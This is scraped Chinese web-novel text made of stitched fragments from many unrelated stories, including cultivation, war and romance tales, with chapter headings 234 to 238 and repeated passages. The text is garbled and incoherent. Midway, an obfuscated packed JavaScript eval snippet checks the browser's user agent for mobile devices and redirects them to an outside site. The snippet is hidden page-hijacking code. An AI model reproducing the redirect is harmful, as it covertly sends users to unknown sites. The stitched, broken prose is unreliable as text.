但是叶白不知道的是他父母因为他前身无法修行,并没有将很多东西告诉他,所以到现在为止,他对于武道的认知,其实和普通的老百姓差不多。 下一刻,一白色身影的闪了下来,与这个把赛场砸出一个坑的黑影保持一定距离,冷冷的盯着他。 走了一会儿,山峰变得平缓起来,前面出现了一处平地,一座庭院坐落其中,用青石砖所著,映着周围蓊蓊郁郁的树木和排排翠竹,显然格外幽静。 我哈哈一笑,看了看,时间,该去失乐园驻地看看任务的事情了,也不知道那些镇民有没有安全的抵达那里,任务没有提示成功也没有提示失败,非常的诡异。 通道中大部分岩石已经都变成铁红之色,似乎随时可能熔化,时不时从通道中刮过的火风,丝毫不亚于炼器鼎中的高火,别说血肉之躯,就是精铁硬铜也能软化甚至融化。 两船剧烈地撞击之下,有些紧抓着栏杆的人幸运地没有摔倒,而有些抓不牢就倒在了船板上,而那些举盾拿弓射箭的大多全摔了个仰面朝天,盾牌、弓箭撒满了甲板。 可那都是转瞬之间的事情,可这一丝的明悟绕在狂生心头挥之不去。 紫蓬天葵进入苏彦身体之后,一股浓郁到了极点的jing纯元气骤然爆发开来,仿佛一座火山突然爆发,也许这个比喻并不恰当,但苏彦的感觉确实如此。 “立!”诗雅喊了我一声,我便不理会那么多了,先去陪伴我的妻子。 苏彦根本没有出手,仅仅是气势上的压迫便让杨达一行人尽数昏死在地上,仿佛一座山狠狠的碾压在他们的身上,几乎可以压碎他们的每一寸骨头和血肉。 不过奥玛科还是察觉出了一丝异样,那便是死亡骑士胯下的死亡战马。 不是孟天机怀疑孟凡,而是这个事情确实是有点太惊人了,他根本就无法平静。_ 第234章 黑魔镜 很显然,这苹果就是他们要找的山河之灵了。 胡翘翘捂着额头,只觉得被苹果砸中的地方又疼又胀,一股无名火腾地窜了上来,纵身一跃,朝着落地的苹果扑了过去。 苹果滴溜溜一转,竟然滚进了房间正中那张大床的床底。 这是张金丝梧桐所打的婚床,红色的床单、被褥和枕头上绣着毕方与凤凰,上面还摆放着红 如果倭寇处处进攻,在东北没有战略纵深的红军,就必须死死的守住铁路沿线,那可是要付出极大代价的。 井上章也跟着笑起来,奉天的空军的确有一些战果,但是那种程度也就是只能看而已。想想对关东军司令部的轰炸,就可以知道这支军队有多么的不专业。 费振伦的后背都全湿了,没有发现这样重大敌情,完全就是参谋部的失职,尤其是他这个处长,更是罪无可恕。 不过,江雪抿了抿嘴唇,没有说话,而是走进了姜琦的屋子里,把门关上,背靠着门,眼神怔怔的看着地面。 听到这句话,本庄繁不禁面红耳赤,但偏偏又发作不得,只能面无表情的看着石原莞尔在哪儿表演。 那天在红11军团司令部,光是密密麻麻的电台就让人发憷。如今发布命令,根本就不需要人去传达。 又服用一粒聚魂仙丹,敖暝盘腿打坐,全身雾气缭绕,一条水龙环绕他周身一百八十遍,之后在他张口之后,被他吸纳入腹。 如果追究起来,不但华夏总部机关要负责任,连他这个代表团的总代表,也摆不脱关系。 龚天玺和刘坤建也看得心惊,林浩宇出手就好像疯子,完全是在把人往死里打。 聂唯开启了天眼,本来想看看发生了什么事,没想到却看到了一些意料之外的画面。 “你们……这里可是闹……”司机大叔不想看着几个年轻人进去作死,就想把这里闹鬼的事说出来。 我的确是想他了,我第一次觉得他的身上绿茶味的肥皂香是那么的好闻,我第一次觉得自己即使被夏浩宇凶巴巴的对待也是一种幸福,我终于明白,原来我们只要在一起,就是一种幸福。 我弱弱的看了一眼挂断的电话,只觉得内心深处立即升起了一种无名的火焰,夏浩宇这个混蛋,明明让我先走,自己居然还会被警察抓住!你被抓也就被抓了,关我什么事?还让警察打电话给我,神经病吗? 贝奇和安东尼两位加起来超过120岁的大教士竟然抱头痛哭,和黑巫师联盟斗了上千年,能作为亲眼目睹看到黑巫师联盟覆灭的教士,他们两个的名字绝对可以留在光明会的典籍之上。 赵明想得很清楚,和命比起来,这一切都不算什么,再说死人用得了多少钱,烧再多对他来说都是九牛一毛。 飞起的头颅是一张苍老的脸,长发在空中划过终于有了这几日不曾有的飘逸,但面上的惊恐与瞳孔深处的难以置信却让这种飘逸坠向了地狱深处。 完全没有安排。自己只是怕他饿着肚子,一门心思给他送饭,其他的事情没有考虑到。 可是夏浩宇并不理我,用力的将我按在了门上,一直手臂放在我的脑后,另外一只手拖出了我的脸,力度越来越大,猛地用力,便伸进了我的嘴里。 武松一手挽着马缰,双脚在马肚子上一夹,战马发脚狂奔,他虽不精通马上功夫,可骑马还是会的。_ 第235章 毕方出现 而蛮吉,也不在上前瞎掺和,它此时释放的灵能护盾的冷却时间降低了很多,足够维持聂空的生命值消耗。 陆奇跟在后面五行口诀还没掐完,丁岩就已经迈步前行。这地下乌漆墨黑,方向不明,大家这么来回穿梭,一般人早就转晕了。只有熟悉机关设计与奇门遁甲的人,才能找到方向。 回归要塞:激活后可立刻回到所绑定的要塞,施法时间3秒,打断后失败,冷却时间10分钟。当前绑定铁岭要塞。 追根究底,有绝大部分的原因都是自己一手造成的,沐乔薇到死才明白,父亲说的那句话是什么意思。 而事实上,袁绍派遣的使者,赶到幽州请求刘虞出兵攻打右北平公孙瓒的大后方之时。刘辩的使者,也早已经赶到幽州,命令刘虞出兵攻打公孙瓒。此时的刘虞已经在整军备战,袁绍使者来求,刘虞自然是不假思索便答应了。 “说对了,我们二人就是来造反的!”夏鲁奇大喝一声,催马上前,一剑砍死了亲兵队长。 乔薇有个姐姐,叫乔莞。她这一生的悲惨遭遇,差不多都是源于这个姐姐。 “叶姑娘,那高手被铁应熊的人带走了,我要赶紧回六扇门,请我师父出面把人要回来,你要不要跟我一起去?”顾渊捂着一只手臂对叶芷微道。 那种无法言喻的复杂心情感骤然在心底里打翻了起来,一瞬间让得平静了许久的青阳,此刻的双眸却是微微泛红了起来,那隐隐的记忆中,似乎正有着这么一道温柔的身影,她的目光是那么的温柔,仿若水般融化了青阳。 只是这次不同的是,有个杀手想要江峰,被江桦顺藤摸瓜的挖到了老巢。 “那~是!我关云长出来混就靠三样:仗义,仗义,还是他妈的仗义!”。云长鼻子喷着粗气猖狂道。喂喂,你这是在妹子面前炫耀的节奏吗? 又忍了一会儿,克里夫实在是受不了这种沉闷,胆大包天的开始和商队的人搭话。 就算是武痴,脑子里装着的都是和战斗有关的东西的孙悟空此时也是惊讶的看着眼前的一幕。 一首真正动人的曲子,它的弹奏是需要耗费情绪的,这种情绪是演奏者的心头血。 朱盈盈一个哆嗦身体抖动了下,可她还是强撑着没有后退。墨朗月见状,更是直接伸手把她护在了身后。 也就是说,天明辛辛苦苦降服那把大剑,到头来,还是给黑衣人忙活了!这可怎么办? “你是怎么看出来的?”姜铭不关心靳柔喜欢谁,他只想知道这货的自信打哪儿来。 这时,河里的东西已经沉了下去,大约是被太史慈猛烈的火力给震慑到了。 “说吧,哥听着。”沐长风拍拍她的肩膀,没怎么用力,却显得很厚重。 这次大蜈蚣在此爱着的店主刘枫不了解了,店主刘枫干掉这次大雾红,以防止他再出去害人。 老裘怒声大叫着,咬牙切齿的挥舞着短刀,继续发疯似的追逐和反猎杀。 听唐枫这么一说,大家这才放下心来,但同时屋内又再次陷入沉默。 只要有一种经济支撑,就会带动许多的周边产业,这在陇右之地得到了认证。 可惜,最终,苏易还是忍住了,现在阳如丹来的目的苏易也是明白。 末日凤凰城的高层和杜风以及暂留未去慕容斌、狄胜等人汇聚一堂,涅槃餐厅内酒宴正酣。 晚饭时分,唐枫接到邹剑的电话,随即放下碗筷乘车赶往奉天健身会所。 猛地,他感到腰间一阵刺痛,身体斜摔在地上,林杰摸了下腰间,发现腰上竟插了一把飞刀。 眼见得雷笼取出这样古怪的武器,林杰的心头也是闪过几分凝重,越是不起眼的东西,越是有可能带来恐怖的威胁。 此时,两人的兵器抵在一起,像是在互相角力,而随着这道巨响声落下,两人的角力也有了结果,两人坐下的战马各自发出了一道悲烈的嘶鸣,后退了几步,轰然倒地。 可这次杨冲首先不是感受到了这一招的妙用无穷和时空中枢终于良心了一次,而是感受到了一股浓浓的被坑了的感觉。 “说好的要多陪我这个老人家下棋的,可你从三道县回来后,就没来关爷爷那边一次。是不是都忘了我这个老头子?”关黯说道。 方然努力绷住脸,沉默点头的收下,还是大二没实习没打过工的某只第一次靠自己挣到了钱,心里究极震撼的吃鲸想到。 师尊的指示是,此前葫芦争夺的时候,本尊给你自己的五彩息壤和葫芦藤。 众人惊悚无比,全都骇然起来,不知道发生了什么,那一尊仙帝为何会突然燃烧? 听到此话,所有人都惊恐了起来,一起化道,岂不是要陨落了吗? 尤其是巫妖量劫之后,周山成了不周山,天地先天灵气消失,有的只是后天灵气。 这条线要经过皮卡多和别墅,导致了战音lorra跳的是皮卡多,序号7跳的是别墅。在前期见面的可能性非常大。 轻轻戴在了自己的头上,一瞬间柳沐风感觉自己出现在了一个新的世界之中。 我叹了口气,麦田和海蛇在一旁看着热闹,还好,那边的亡灵队长已经走过来了。 “那拜托你,带我们去那里吧~”麦田看出了我急着回去的心态,对巨龙说到。 时间飞逝,子龙二人似乎已经在地下穿梭了一个多月之久,即使是再慢的度也差不多到达沙漠的边缘。此刻的子龙急切的想要回到第五言福的领地报个平安,晚了的话,他真不知道会生什么难以预料的事情。 常婉莹依旧不喜欢给丈夫乱出主意,但双目之中,却隐隐也露出了两点寒芒。郑子明曾经梦到过的事情,很多后来都变成了事实。所以,她宁愿做一些违心的举动,也不愿意让自嘉丈夫将来冒上无辜被杀的风险。 第236章 金乌残魂 这条火龙通体由金色的火焰构成,鳞片须爪宛然,血盆大口中的锐齿也颗颗可数,仿佛拥有生命一般,张牙舞爪地向着陈子均和胡翘翘猛扑而去。 砰! 火龙一头撞在蛋壳之上,爆发出震耳欲聋的巨响,仿佛晴天霹雳,震耳欲聋。 蛋壳上土黄色的光芒剧烈闪烁,仿佛随时都会熄灭一般。而那金色的火龙,也逐渐缩小 眼前的黄沙逐渐消失,绿意渐渐多了起来,甚至他偶尔还能看到一些凡人的踪迹。 逼阳关通往彭城的大道上,数千骑兵正在疾奔,扬起了漫天尘土。 云剑生心中欢喜,只是年岁终究尚浅,不由便露出了几分狂傲之气。 石慧听不到两人说话,只能看着这两人来来回回的就是不进门,不离开。 即便是最早跟随江炎的烟魅,也只是短短一日罢了,根本没能摸清楚江炎的脾气。 想象归想象,恼恨归恼恨,她向来公私分明,不会做这么愚蠢的事情。 比如说市丸银就去了三番队当队长,吉良现在去了四番队,但是将来也会转到三番队,这样一来三番队的正副队长都是他的人,那这个队伍基本上就算是蓝染的力量了。 再度打量着江凡,她仔细思索,江凡除了资质低一些,其实真的无可挑剔。 他的心情很不好,毕竟刚放完狠话脸就被打了,任谁也高兴不起来。 王柔柔坐在洁白的病床上,满是幽怨之色的枯黄双眼,死死盯着江炎和他手里的蛛丝茧。 苏子墨,顾哲思两人几乎同时脱口而出,顿时两人微微一愣,几乎同时尴尬地看向对方。 “王者霸气?什么东东?”张辰有种预感自己的三观又要被秦苍颠覆了。 在美人迈着轻缓的舞步走入宴会大厅的那一刹那,全场瞬间变得安静,所有人都情不自禁的屏住了呼吸。 还未等郎思雨从我瞎这两个字里回味过来,一件嫩黄色的礼服就已经挂在她脑袋上了。 隐身向后退出去一段距离,仅剩下三个法师、一个弓手、一个盗贼、四战两骑,而且战骑还都是残血状态,剩下十一人都有些紧张了。 “叶帆同学,你以后少欺负我们郑清婷同学,不然,我可不轻易放过你。”柳林冰说道。 不仅是他们,那出密室内的诸位长老护法都目不转睛的盯着光幕。他们有人看好叶道天,有人不看好叶道天,但无一都抱有一丝丝期待。 不过,在不断产生问题的时候,也去解决问题,这样,才能够更好的去进行经营,也才能够赚钱,现在来说,赚钱是最重要的,只要赚到了钱,那想要做什么事情都可以,但是如果赚不到钱,那也别想去做其他的事情。 万里无云的碧蓝天空,飘来一朵朵七彩祥云,而后一道道七彩华光从中降下。 “他?他不能够来这里买衣服?”秦慕婉身上散发出一股气势,她当了这么多年的秦氏集团总裁,那自然是有一种不怒自威的气息了。 “人参果”三个字一入耳膜。&nbp;&nbp;星罗和段流明不自觉地浑身一颤。 “渡”字辈的和尚们再一次面面相觑他们并不是怕了这个外国武者而是恰恰相反。 李煦仆倒在李谦的身上嚎啕大哭,良久才由同僚扶起来,而公孙羽则蹲在遗体边愣了更长的时间。在塔国荒原那场血战中幸存的五兄弟又失去了一个,这让他的心再一次勒刻上一道深痕。 这条火龙通体由金色的火焰构成,鳞片须爪宛然,血盆大口中的锐齿也颗颗可数,仿佛拥有生命一般,张牙舞爪地向着陈子均和胡翘翘猛扑而去。 砰! 火龙一头撞在蛋壳之上,爆发出震耳欲聋的巨响,仿佛晴天霹雳,震耳欲聋。 蛋壳上土黄色的光芒剧烈闪烁,仿佛随时都会熄灭一般。而那金色的火龙,也逐渐缩小 眼前的黄沙逐渐消失,绿意渐渐多了起来,甚至他偶尔还能看到一些凡人的踪迹。 逼阳关通往彭城的大道上,数千骑兵正在疾奔,扬起了漫天尘土。 云剑生心中欢喜,只是年岁终究尚浅,不由便露出了几分狂傲之气。 石慧听不到两人说话,只能看着这两人来来回回的就是不进门,不离开。 即便是最早跟随江炎的烟魅,也只是短短一日罢了,根本没能摸清楚江炎的脾气。 想象归想象,恼恨归恼恨,她向来公私分明,不会做这么愚蠢的事情。 比如说市丸银就去了三番队当队长,吉良现在去了四番队,但是将来也会转到三番队,这样一来三番 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不仅是他们,那出密室内的诸位长老护法都目不转睛的盯着光幕。他们有人看好叶道天,有人不看好叶道天,但无一都抱有一丝丝期待。 不过,在不断产生问题的时候,也去解决问题,这样,才能够更好的去进行经营,也才能够赚钱,现在来说,赚钱是最重要的,只要赚到了钱,那想要做什么事情都可以,但是如果赚不到钱,那也别想去做其他的事情。 万里无云的碧蓝天空,飘来一朵朵七彩祥云,而后一道道七彩华光从中降下。 “他?他不能够来这里买衣服?”秦慕婉身上散发出一股气势,她当了这么多年的秦氏集团总裁,那自然是有一种不怒自威的气息了。 “人参果”三个字一入耳膜。&nbp;&nbp;星罗和段流明不自觉地浑身一颤。 “渡”字辈的和尚们再一次面面相觑他们并不是怕了这个外国武者而是恰恰相反。 李煦仆倒在李谦的身上嚎啕大哭,良久才由同僚扶起来,而公孙羽则蹲在遗体边愣了更长的时间。在塔国荒原那场血战中幸存的五兄弟又失去了一个,这让他的心再一次勒刻上一道深痕。 第237章 河图器灵 直到这时,胡翘翘和陈子均才有闲暇,检查手中的玄武蛋壳。 胡翘翘的那块还好,只是用来抵挡了火雨,此刻只是光泽黯淡了少许,至少从外观上,还没太大问题。 陈子均手中那块,原本莹润光泽的壳面,如今已是裂痕遍布,仿佛随时都会碎开。 胡翘翘轻轻抚摸着蛋壳,轻声道“这次真是多亏了你们啦,不然我 不过夏阳早已从其种种迹象中知晓,所谓天命,绝非缥缈难测的天道,而更像是“人为”。 婆子是个机灵,见李丹若将斗篷裹紧,忙笑道“外头冷,太太、奶奶到里头暖和暖和吧。”李丹若趁机曲膝辞了严氏,跟着婆子进了前面大花厅。 宝贝无力的看他一眼,也许,慕容瑾如果没威胁她,她真的会选择留下。可是现在不行了,她不能让莫夏楠努力了那么久的心血没有回报。现在,是她该为他做点什么的时候了。 “你还胡扯!”宝贝气鼓鼓的朝他扔了个抱枕过去。如果两个孩子以后也天天出去打架,她不被气死才怪。 王一剑说道“已无大碍,这个宝物还给你。”刚才偷袭路云川,一击致命的正是九曜黑如意,我在王师兄盘膝打坐的时候,就悄悄把九曜黑如意给了他,告诉他找准时间偷袭。 “别想那么多有的没的。”苏煜阳的声音忽然在耳旁响起,凌秒转头一看,不知何时苏煜阳和苏母换了个位置。 刘烨显然也知道这一招的凶险,仓惶退后想要躲开这一招,但既然是乾坤宫的最强杀招哪里是那么好躲的,禹忧这一手就像是长了眼睛一样,死死的锁定着刘烨的奇迹完全没有给他任何躲开的机会。 唐宣今天的某些行为着实让苏煜阳觉得诡异,扔手机是不想被定位这点倒是能理解,带着苏煜阳兜圈子、现在又停在距离山顶还有一段距离的地方,这就让苏煜阳彻底看不透了。 夏阳听得十分专注,加上他来自现代,理论知识充足,兼之领悟力超凡,没花多久,就清楚了元神的概念。 收石昊为徒之后,夏阳先是以强大的生命精元为他重塑了根基,令他曾经被抽离的至尊骨再生,然后才如曾经的洪易和叶凡一样,传下了人仙武道中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893103|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无上炼体法门,亦是他无极大道的基础。 前些时日的鄙夷与不屑已荡然无存,取而代之的是尊敬,和更尊敬。 而基地内,联合手下人对付几十名侵入者的次王级青年,见自己的同伴眼看着就要被一个个解决掉,他再也忍不住,抽身飞起,一下就冲出了基地。 所有人的嘴巴都张成了“0”型,舌头已经消失,因长时间暴露而变得发黑的血液灌满了他们的口腔,让他们看起来仿佛恶鬼。 “真的没有,妈,你看着我们感觉挺熟的,其实我刚到公司没多久他就出国了,最近也才刚回来,最近也只是见了一面。 两天后的正午,斯维因果然如期赴约,没有让陈逸提醒,把红包发了过来。 几分钟后,两方的人,就来到了一起,郝宇当先就动了手,一出手!就动用了斩冥刀,他的目标,自然是几人中最强的变异猴子。一刀斩下,刀光如虹,斩破长空,惊得跟在猴廷身后的四五个异类,连忙散开飞远。 贺英当场就尿了,一个臭要饭的给一个还不满足?还都要?过分了吧。 第238章 跟夫人走 胡翘翘托着腮,看着河图,忽然问:“你叫什么名字?” 河图器灵一愣,“您是问我吗?” “对呀,”胡翘翘说,“总得知道你的名字,以后我才方便称呼你呀。” 器灵有些受宠若惊,连忙道:“我的名字是%¥…#¥#@!” 胡翘翘听得一脸茫然。 “什么?” 陈子均接口,“这是它在 尽量不让苏风看出来她此时的不对劲,不过苏风一早就发现了,于涵瑶好像怕蛇。 高鹏打来电话他原本不想见面,看到短信后才改变主意,只想默默的在一个地方养花,不想在经历腥风血雨。 秦虚的一脉最强者出关了,现在可以说秦氏一脉在炫阳学院只手遮天,所以才会出现这样的情况,得知这样情况的苏邱浩也知道这一次必定是必死无疑。 更别说后面还有一个时辰的路程,根据我们的计算最后的那妖兽最保守计至少也得到了灵丹境五阶之上。 高鹏擦了把汗给她盖上被子,只露出手腕诊脉,严肃的表情慢慢消失,露出笑意。 在当时的陆地上生存着长着两条腿、四条腿、八条腿的各种动物,而人鱼,就是由其中长着四条腿的四肢着地爬行动物进化而来。 心里明白,恐怕苏媛媛是纯阴之体的事情已经泄露出去,这是被家族盯上了,想着先把人定下。 虽然说吃了解药,她双腿的僵硬已经解除,但是她需要保持能坐着就不站着、能躺着就不坐着的人设。而且反正衣服都已经脏成乞丐装了,也没必要再在乎坐在地上这种事情。 赵倩倩很给力,认识的人还真不少,活动多了,大家知道赵倩倩也投资了,慢慢开始有其他人跟着拿钱出来投资。 萧铁四目环顾,只能看见宛如银河般的画面,无数光芒围绕自己旋转。 “混蛋东西,等到时候一定要你好看,我就不行你还嚣张的起来!!”毒蝎面色阴沉不定,低头望着距离地面越来越近,呼吸开始急促喘息着。 蜂后得知麻由本一要去拜访陈凌也是很惊讶,沉吟了一下之后,让陈凌沉着面对,切不可以露什么马脚。 年轻贵族刚刚还是一副慷慨激昂的样子,现在却浑身僵硬,半个字都说不出来。 利爪从墙壁上划过,在上面留下了深深的痕迹,几道幽蓝色的病毒留在痕迹内绽放着寒光。 此刻感受着眠狂一郎身上弥漫的剑意,却是将这一偏见,彻底的打碎。 听到电话那头传来的轻笑声,鹤户优纪粘附着水渍的漂亮脸蛋变得愈加红润,旋即忍不住用带有一丝愠怒的语气抱怨道。 所以,在这九天大6之上,自断双臂的赌注,代价已经十分恐怖了。 而古玩‘交’流会,世界级的很少,一般都是以国为主,还有就是地方,各大市省,或者几个省之间‘交’流,不管怎么说吧,有这种‘交’流会是好事。 巨型飞行器坠落,太空飞舰也已经被打得所剩无几,战机上的飞行员慌了神。 “你是什么人?这里怎么会有别人?!”金陵看见了楚风以后十分的激动,但是随即就看向了混混他们她觉得自己就是被这些人给耍了,她觉得这些人应该是想要很多的钱的,只是自己现在没有罢了。 “哼哼,世界上竟然还有如此强者,不找他决战一番,难道你们觉得亏吗?神器固然重要,可是,我更喜欢和强者热血奋战,他真的好强!”晨风激动的说道。 胡翘翘托着腮,看着河图,忽然问:“你叫什么名字?” 河图器灵一愣,“您是问我吗?” “对呀,”胡翘翘说,“总得知道你的名字,以后我才方便称呼你呀。” 器灵有些受宠若惊,连忙道:“我的名字是%¥…#¥#@!” 胡翘翘听得一脸茫然。 “什么?” 陈子均接口,“这是它在 尽量不让苏风看出来她此时的不对劲,不过苏风一早就发现了,于涵瑶好像怕蛇。 高鹏打来电话他原本不想见面,看到短信后才改变主意,只想默默的在一个地方养花,不想在经历腥风血雨。 秦虚的一脉最强者出关了,现在可以说秦氏一脉在炫阳学院只手遮天,所以才会出现这样的情况,得知这样情况的苏邱浩也知道这一次必定是必死无疑。 更别说后面还有一个时辰的路程,根据我们的计算最后的那妖兽最保守计至少也得到了灵丹境五阶之上。 高鹏擦了把汗给她盖上被子,只露出手腕诊脉,严肃的表情慢慢消失,露出笑意。 在当时的陆地上生存着长着两条腿、四条腿、八条腿的各种动物,而人鱼,就是由其中长着四条腿的四肢着地爬行动物进化而来。 心里明白,恐怕苏媛媛是纯阴之体的事情已经泄露出去,这是被家族盯上了,想着先把人定下。 虽然说吃了解药,她双腿的僵硬已经解除,但是她需要保持能坐着就不站着、能躺着就不坐着的人设。而且反正衣服都已经脏成乞丐装了,也没必要再在乎坐在地上这种事情。 赵倩倩很给力,认识的人还真不少,活动多了,大家知道赵倩倩也投资了,慢慢开始有其他人跟着拿钱出来投资。 萧铁四目环顾,只能看见宛如银河般的画面,无数光芒围绕自己旋转。 “混蛋东西,等到时候一定要你好看,我就不行你还嚣张的起来!!”毒蝎面色阴沉不定,低头望着距离地面越来越近,呼吸开始急促喘息着。 蜂后得知麻由本一要去拜访陈凌也是很惊讶,沉吟了一下之后,让陈凌沉着面对,切不可以露什么马脚。 年轻贵族刚刚还是一副慷慨激昂的样子,现在却浑身僵硬,半个字都说不出来。 利爪从墙壁上划过,在上面留下了深深的痕迹,几道幽蓝色的病毒留在痕迹内绽放着寒光。 此刻感受着眠狂一郎身上弥漫的剑意,却是将这一偏见,彻底的打碎。 听到电话那头传来的轻笑声,鹤户优纪粘附着水渍的漂亮脸蛋变得愈加红润,旋即忍不住用带有一丝愠怒的语气抱怨道。 所以,在这九天大6之上,自断双臂的赌注,代价已经十分恐怖了。 而古玩‘交’流会,世界级的很少,一般都是以国为主,还有就是地方,各大市省,或者几个省之间‘交’流,不管怎么说吧,有这种‘交’流会是好事。 巨型飞行器坠落,太空飞舰也已经被打得所剩无几,战机上的飞行员慌了神。 “你是什么人?这里怎么会有别人?!”金陵看见了楚风以后十分的激动,但是随即就看向了混混他们她觉得自己就是被这些人给耍了,她觉得这些人应该是想要很多的钱的,只是自己现在没有罢了。 “哼哼,世界上竟然还有如此强者,不找他决战一番,难道你们觉得亏吗?神器固然重要,可是,我更喜欢和强者热血奋战,他真的好强!”晨风激动的说道。